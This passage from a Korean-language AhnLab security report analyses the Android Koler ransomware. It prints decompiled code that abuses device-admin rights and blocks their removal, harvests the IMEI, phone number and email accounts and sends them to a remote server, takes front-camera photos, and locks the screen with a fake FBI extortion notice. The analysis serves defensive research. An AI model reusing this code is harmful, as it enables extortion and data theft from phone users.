v0.putextra("android.app.extra.device_admin", this. demodeviceadmin); v0.putextra("android.app.extra.add_explanation", "To run the application - activate"); this.startactivityforresult(v0, 47); return; 그림 3-8 관리자권한획득시도 관리자권한에대한 catcher를호출하고처리되면 onactivityresult가호출된다. protected void onactivityresult(int p3, int p4, Intent p5) { switch(p3) { case 47: if (p4!= 15) { Log.i("DevicePolicyDemoActivity", "Administration enable FAILED!"); this.ebat(); else { Log.i("DevicePolicyDemoActivity", "Administration enabled!"); this.colotit(); break; default: super.onactivityresult(p3, p4, p5); return; 그림 3-9 onactivityresult 호출 관리자권한이활성화되어있으면 colotit를호출하고그렇지않으면 ebat를다시호출한다. ASEC REPORT 61 Security Trend 26
protected void colotit() { v6 = new PhotoMaker(this); v7 = new String[1]; v7[0] = "davai"; v6.execute(v7); this.alarm = new AlarmManagerBroadcastReceiver(); this.alarm.setalarm(this); v2 = this.getsharedpreferences("cocon", 0); if(v2.getint("status", 0)!= 77) { this.camera = v2.getint("camera", 0); if(this.camera == 1) { this.pict = v2.getstring("face", "facenull"); if(this.pict.contains("facenull") == 0) { this.face = 2; else { this.face = 1; if(this.camera == 2) { this.face = 1; v0 = this.getsharedpreferences("cocon", 0).edit(); v0.putint("start", 1); v0.putlong("starttime", Long.valueOf((System. currenttimemillis() / 1000.0)).longValue(), 1000.0); v0.commit(); this.setcontentview(2130903040); v1 = this.findviewbyid(2131165184); v1.setwebviewclient(new SampleOverlayShowActivity$T estwebviewclient(this, 0)); v1.getsettings().setjavascriptenabled(1); v1.getsettings().setsupportzoom(0); v1.getsettings().setsaveformdata(0); v1.getsettings().setsupportmultiplewindows(0); v1.getsettings().setbuiltinzoomcontrols(0); v1.getsettings().setusewideviewport(1); v1.getsettings().setrenderpriority(websettings$render Priority.HIGH); v1.getsettings().setcachemode(2); v1.addjavascriptinterface(new SampleOverlayShowActiv ity$webappinterface(this, this), "Bot"); v1.loadurl("file:///android_asset/video.html"); else { Process.killProcess(Process.myPid()); return; 그림 3-10 관리자권한확보이후호출하는내용 그다음으로 PhotoMaker 클래스를시작한다. AlarmManagerBroadcastReceiver.Set- Alarm을호출해서 2분주기로 AlarmManagerBroadcastReceiver 알람을등록한다. Web- View에 file:///android_asset/video.html을불러와화면에나타내고자바스크립트인터페이스클래스인 SampleOverlayShowActivity$WebA ppinterface를등록한다. video.html에서사용자가링크를클릭하면 SampleOverlayShowActiv ity$testwebviewclient가동영상을실행한다. video.html에서보여주는동영상은성인음란물콘텐츠로, 사용자의관심을유도한다. 4.3. RequestTask RequestTask는서버통신관련클래스이다. RequesTask OverlayService http://advsystempi.com/api/app.php 연결 단말기정보, 이메일계정정보등서버전송 OverlayView 생성 그림 3-11 서버통신관련클래스인 RequestTask 동작방식 protected varargs String doinbackground(string[] p43) { v19 = new DefaultHttpClient(); v29 = new BasicResponseHandler(); v28 = new HttpPost; ASEC REPORT 61 Security Trend 27
v28(p43[0]); v25 = new ArrayList; v25(2); v36 = "n/a"; v9 = this.mcontext.getsystemservice("connectivity"); if(v9.getactivenetworkinfo().gettype()!= 0) { v21 = 0; else { v21 = 1; v22 = v9.getnetworkinfo(1).isavailable(); if(v21!= 0) { v36 = "mobile"; if(v22!= 0) { v36 = "wifi"; 그림 3-12 네트워크정보확인 RequestTask는연결된네트워크정보가모바일네트워크망인지와이파이 (WiFi) 망인지확인한다. v17 = ""; v4 = AccountManager.get(this.mContext).getAccounts(); v38 = v4.length; v37 = 0; while (v37 < v38) { v3 = v4[v37]; if(patterns.email_address.matcher(v3.name). matches()!= 0) { v17 = new StringBuilder(String.valueOf(v17)).append(", ").append(v3.name).tostring(); v37 = (v37 + 1); v33 = this.mcontext.getsharedpreferences("cocon", 0); v34 = v33.getint("status", 0); v8 = v33.getint("camera", 0); v10 = v33.getstring("pcode", "null"); v11 = new StringBuilder(String.valueOf("")) getcontentresolver(), "android_id")).append(":-:").tostring(); v38 = new StringBuilder; v38(string.valueof(v11)); v11 = v38.append(this.mcontext.getsystemservice("phone" ).getdeviceid()).append(":-:").tostring(); v38 = new StringBuilder; v38(string.valueof(v11)); v38 = new StringBuilder; 그림 3-13 계정정보확인및이메일형태의계정수집 단말기에등록되어있는계정정보를읽어해당계정이이메일형태인경우, 이에대한정보를수집한다. 또한 SharedPreferences에기록했던각종설정정보를읽는다. v38(string.valueof(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf (v38.append(this.mcontext.getsystemservice("phone"). getline1number()).append(":-:").tostring())).append(this.getdevicename()).append(":-:").tostring())). append(build$version.release).append(":-:").tostring())); v7 = Base64.encodeToString(MCrypt.bytesToHex(new MCrypt().encrypt(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String. valueof(new StringBuilder(String.valueOf( new StringBuilder(String.valueOf(new StringBuilder(String. valueof( new StringBuilder(String.valueOf(v38.append(this.mContext. getsystemservice("phone").getnetworkoperatorname()).append(":-:").tostring())). append(v36).append(":-:").tostring())).append(v17). append(":-:").tostring())).append(this.mcontext.getresources(). getconfiguration().locale.getcountry()).append(":-:"). tostring())).append(string.valueof(v34)).append(":-:"). tostring())).append(string.valueof(v8)).append(":-:").tostring())). append(v10).append(":-:").tostring())).append(p43[2]). tostring())).getbytes("utf-8"), 0); 그림 3-14 단말기정보암호화.append(Settings$Secure.getString(this.mContext. ASEC REPORT 61 Security Trend 28
MCrypt.encrypt를호출한키값을이용해앞서읽어온정보들과함께전화번호, 단말기모델명, 제조사, 버전, 네트워크정보, 국가정보, 이메일계정정보, 사진촬영여부등의정보를암호화한다. v38 = new BasicNameValuePair; v40 = new StringBuilder; v40("#"); v38("imei", v40.append(this.mcontext.getsystemservice("phone"). getdeviceid()).tostring()); v25.add(v38); v25.add(new BasicNameValuePair("cmd", p43[1])); v25.add(new BasicNameValuePair("sub", String. valueof(v23))); v37 = new BasicNameValuePair; v37("data", v7); v25.add(v37); v37 = new UrlEncodedFormEntity; v37(v25); v28.setentity(v37); v30 = v19.execute(v28, v29); 그림 3-15 암호화한데이터전송 암호화한데이터를서버로전송하고서버로부터응답을받는다. if(v30.contains("unlock")!= 0) { v16 = this.mcontext.getsharedpreferences("cocon", 0).edit(); v16.putint("status", 77); v16.commit(); v20 = new Intent; v20(this.mcontext, OverlayService); v20.putextra("close", "allclose"); this.mcontext.startservice(v20); if(v30.contains("incorrect")!= 0) { v16 = this.mcontext.getsharedpreferences("cocon", 0).edit(); v16.putint("status", 3); v16.commit(); this.mcontext.startservice(new Intent(this.mContext, OverlayService)); if(v30.contains("usecode")!= 0) { v16 = this.mcontext.getsharedpreferences("cocon", 0).edit(); v16.putint("status", 4); v16.commit(); this.mcontext.startservice(new Intent(this.mContext, OverlayService)); if(v30.length() > 3) { if(v30.contains("alllock")!= 0) { v16 = this.mcontext.getsharedpreferences("cocon", 0).edit(); v16.putint("status", 0); v16.putint("animation", 0); v16.putstring("pcode", ""); v16.commit(); this.mcontext.startservice(new Intent(this.mContext, OverlayService)); if(this.mcontext.getsharedpreferences("cocon", 0).getInt("status", 0) == 77) { Process.killProcess(Process.myPid()); if(v30.contains("alllock")!= 0) { Log.i("muuuu", "ooopppsss"); v16 = this.mcontext.getsharedpreferences("cocon", 0).edit(); v16.putint("status", 0); v16.putint("animation", 0); v16.putstring("pcode", ""); v16.commit(); this.mcontext.startservice(new Intent(this.mContext, OverlayService)); 그림 3-16 OverlayService 호출 ASEC REPORT 61 Security Trend 29
서버에서받은데이터에포함된값을이용해 OverlayService를호출한다. 이때 alllock, unlock, incorrect, usecode 등에따라서 status 값을다르게하여 OverlayService를호출한다. 4.4. PhotoMaker PhotoMaker는스마트폰의전면카메라를이용한사용자얼굴촬영과관련된클래스이다. PhotoMaker PhotoHandler 그림 3-17 PhotoMaker 동작방식 전면부카메라사진촬영 촬영사진저장 protected varargs String doinbackground(string[] p7) { v5 = 0; this.openfrontfacingcamera(); this.cameras = this; if(this.cameras == 0) { v0 = this.mcontext.getsharedpreferences("cocon", 0).edit(); v0.putint("camera", 2); v0.commit(); else { this.cameras.takepicture(v5, v5, new PhotoHandler(this. mcontext)); return 0; 그림 3-18 openfrontfacingcamera 호출및스마트폰카메라실행 openfrontfacingcamera를호출하여스마트폰전면부의카메라의사진촬영에필요한설정을하 고카메라를실행한다. cameras.takepicture를실행하면사진이촬영되고이어 PhotoHandler가동작한다. 4.5. PhotoHandler public void onpicturetaken(byte[] p13, Camera p14) { this.getdir(); if((this.exists()!= 0) (this.mkdirs()!= 0)) { v3 = new StringBuilder(String.valueOf(this.getPath())).append(File. separator).append(new StringBuilder("Picture_").append(new SimpleDateFormat("yyyymmddhhmmss").format(new Date())). append(".jpg").tostring()).tostring(); v4 = new FileOutputStream(new File(v3)); v4.write(p13); v4.close(); v2 = this.context.getsharedpreferences("cocon", 0).edit(); v2.putint("camera", 1); v2.putstring("face", v3); v2.commit(); else { v2 = this.context.getsharedpreferences("cocon", 0).edit(); v2.putint("camera", 2); v2.commit(); return; 그림 3-19 촬영한사진및기록, 파일경로저장 촬영한사진을 Picture_yyyymmddhhmmss. jpg 라는이름으로저장하고, 촬영기록과파일경로를저장한다. 4.6 catcher catcher는기기관리자권한을해제하지못하게하 ASEC REPORT 61 Security Trend 30
는클래스이다. public CharSequence ondisablerequested(context p5, Intent p6) { this.abortbroadcast(); v0 = new Intent("android.settings.SETTINGS"); v0.setflags(1073741824); v0.setflags(268435456); p5.startactivity(v0); v1 = new Intent("android.intent.action.MAIN"); v1.addcategory("android.intent.category.home"); v1.setflags(268435456); p5.startactivity(v1); return "This action will reset all your data. Click "Yes" and your's device will reboot and "No" for cancel."; 그림 3-20 catcher 호출 catcher는사용자가기기관리자권한을비활성화하면호출된다. 사용자가기기관리자권한을비활성화하면 catcher는 Sample-OverlayShowActivity를실행시키고, This action will reset all your data. Click Yes and your's device will reboot and No for cancel. 이라는문자열을출력한다. 기기관리자권한의비활성화를계속진행할경우모든데이터가초기화된다고경고하는내용으로, 사용자가관리자권한해제를하지않도록유도한다. bootme AlarmManagerBroadcastReceiver OverlayService 그림 3-21 bootme 클래스동작방식 알람설정 Overlay View 생성 public void onreceive(context p5, Intent p6) { this.alarm = new AlarmManagerBroadcastReceiver(); this.alarm.setalarm(p5); if(p5.getsharedpreferences("cocon", 0).getInt("status", 0)!= 77) { p5.startservice(new Intent(p5, OverlayService)); else { Process.killProcess(Process.myPid()); return; 그림 3-22 AlarmManagerBroadcastReceiver 호출및알람설정 단말기가부팅되면 AlarmManagerBroadcast- Receiver를호출해 2분주기로동작하는알람을설정하고 OverlayService를시작한다. 4.8. AlarmManagerBroadcastReceiver AlarmManagerBroadcastReceiver는앞서등록된브로드캐스트리시버코드이다. 4.7. bootme bootme는부팅시동작하는리시버클래스코드이다. AlarmManagerBroadcastReceiver OverlayService 2 분주기로알람등록 RequestTask 그림 3-23 AlarmManagerBroadcastReceiver 동작방식 ASEC REPORT 61 Security Trend 31
public void onreceive(context p14, Intent p15) { v8 = p14.getsystemservice("power").newwakelock(1, "YOUR TAG"); v8.acquire(); v3 = p14.getsharedpreferences("cocon", 0); v4 = v3.getint("start", 0); v5 = Long.valueOf(v3.getLong("starttime", 0.0, v11)); v6 = Long.valueOf((System.currentTimeMillis() / 1000.0)); if((v4 == 1) && ((v5.longvalue() + 30.0) < 0)) { p14.startservice(new Intent(p14, OverlayService)); v1 = p14.getsharedpreferences("cocon", 0).edit(); v1.putint("start", 2); v1.commit(); v9 = new RequestTask(p14); v10 = new String[3]; v10[0] = "http://advsystemapi.com/api/app.php"; v10[1] = "timer"; v10[2] = ""; v9.execute(v10); v8.release(); return; 그림 3-24 OverlayService 설정 2분주기로알람서비스를등록한다. 알람이벤트가발생하면앱이동작한지 30초이내일경우 OverlayService를시작한다. RequestTask를호출해서버로데이터를전송하고통신한다. 4.9. OverlayService OverlayService는해당악성앱의화면이항상스마트폰의최상위에위치하도록제어하는클래스코드이다. OverlayService OverlayView 그림 3-25 OverlayService 동작방식 public void oncreate() { super.oncreate(); this.instance = this; this.overlayview = new OverlayView(this); return; public int onstartcommand(intent p6, int p7, int p8) { v0 = 0; if(p6!= 0) { v0 = p6.getextras(); if((v0!= 0) && (v0.getstring("close")!= 0)) { this.cancelnotification = 1; this.movetobackground(this.id, 1); this.getsystemservice("notification").cancel(this.id); Process.killProcess(Process.myPid()); if(this.overlayview!= 0) { this.overlayview.refreshlayout(); return 1; 그림 3-26 OverlayView 객체생성 View 가항상최상위에존재하도록설정 버튼클릭제한 file:///android_asset/index.html 출력 서비스가시작되면 OverlayView객체를생성하고, close 명령어가전달되면종료한다. overlayview.refreshlayout() 을호출한다. ASEC REPORT 61 Security Trend 32
protected Notification foregroundnotification(int p6) { v0 = new Notification(2130837504, "FBI", System. currenttimemillis()); v0.flags = ((v0.flags 2) 8); v0.setlatesteventinfo(this, "FBI", "Child s porn and Zoophilia detected", 0); return v0; 그림 3-27 허위경고창게시 이어아동음란물이감지되었다는 FBI를사칭한경고창을출력한다. 4.10. OverlayView public void refreshlayout() { if(this.isvisible()!= 0) { this.removeallviews(); this.inflateview(); this.onsetuplayoutparams(); this.getcontext().getsystemservice("window"). updateviewlayout(this, this.layoutparams); this.refresh(); return; 그림 3-28 inflateview 호출 v1 = this.findviewbyid(2131165185); v1.getsettings().setjavascriptenabled(1); v1.getsettings().setsupportzoom(0); v1.getsettings().setsaveformdata(0); v1.getsettings().setsupportmultiplewindows(0); v1.getsettings().setbuiltinzoomcontrols(0); v1.getsettings().setusewideviewport(1); v1.getsettings().setrenderpriority(websettings$renderpri ority.high); v1.getsettings().setcachemode(2); v1.addjavascriptinterface(new OverlayView$WebAppInterf ace(this, this.getcontext()), "Bot"); v1.loadurl("file:///android_asset/index.html"); return; 그림 3-29 음란물웹화면호출 inflateview는스마트폰화면위에 file:///androi d_asset/index.html을나타내고자바스크립트인터페이스인 OverlayView$WebAppInterface를등록한다. protected void addview() { this.setuplayoutparams(); this.getcontext().getsystemservice("window"). addview(this, this.layoutparams); super.setvisibility(8); return; 그림 3-30 스마트폰화면제어 서비스시작시생성된객체인 OverlayView가 inflateview를호출한다. private void inflateview() { this.getcontext().getsystemservice("layout_inflater"). inflate(this.layoutresid, this); this.oninflateview(); 스마트폰화면에악성앱의화면이항상맨위에나타나도록하고사용자의버튼조작을허용하지않는다. 이로써사용자는스마트폰단말기의동작을제어할수없게된다. Android-Trojan/Koler는성인동영상앱으로위 ASEC REPORT 61 Security Trend 33
장해감염을유도하고 FBI를사칭해사용자를협박하고벌금을빙자해금품을갈취하는방식의악성앱이다. 또한사용자의스마트폰이용을방해하는잠금기능도갖고있다. 이와같은스마트폰잠금악성앱은일단설치되면제거가매우까다롭다. 일반적인악성앱은기기관리자권한을해제함으로써제거가가능한반면, 이러한경우에는기기관리자권한을해제하려는동작이발생할때마다악성앱이등록한리시버가실행되면서관리자권한해제를방해하기때문이다. 따라서기기관리자권한을요구하는앱은꼼꼼히살펴보는습관이필요하다. 또한평소모바일전용백신프로그램인 V3 Mobile을최신엔진으로업데이트하고실시간감시기능을설정하는것이바람직하다. ASEC REPORT 61 Security Trend 34
ASEC REPORT vol.61 January, 2015 집필 안랩시큐리티대응센터 (ASEC) 발행처 주식회사안랩 편집 안랩콘텐츠기획팀 경기도성남시분당구판교역로 220 디자인 안랩 UX디자인팀 T. 031-722-8000 F. 031-722-8901 본간행물의어떤부분도안랩의서면동의없이복제, 복사, 검색시스템으로저장또는전송될수없습니다. 안랩, 안랩로고는안랩의등록상표입니다. 그외다른제품또는회사이름은해당소유자의상표또는등록상표일수있습니다. 본문서에수록된정보는고지없이변경될수있습니다. 2015 AhnLab, Inc. All rights reserved.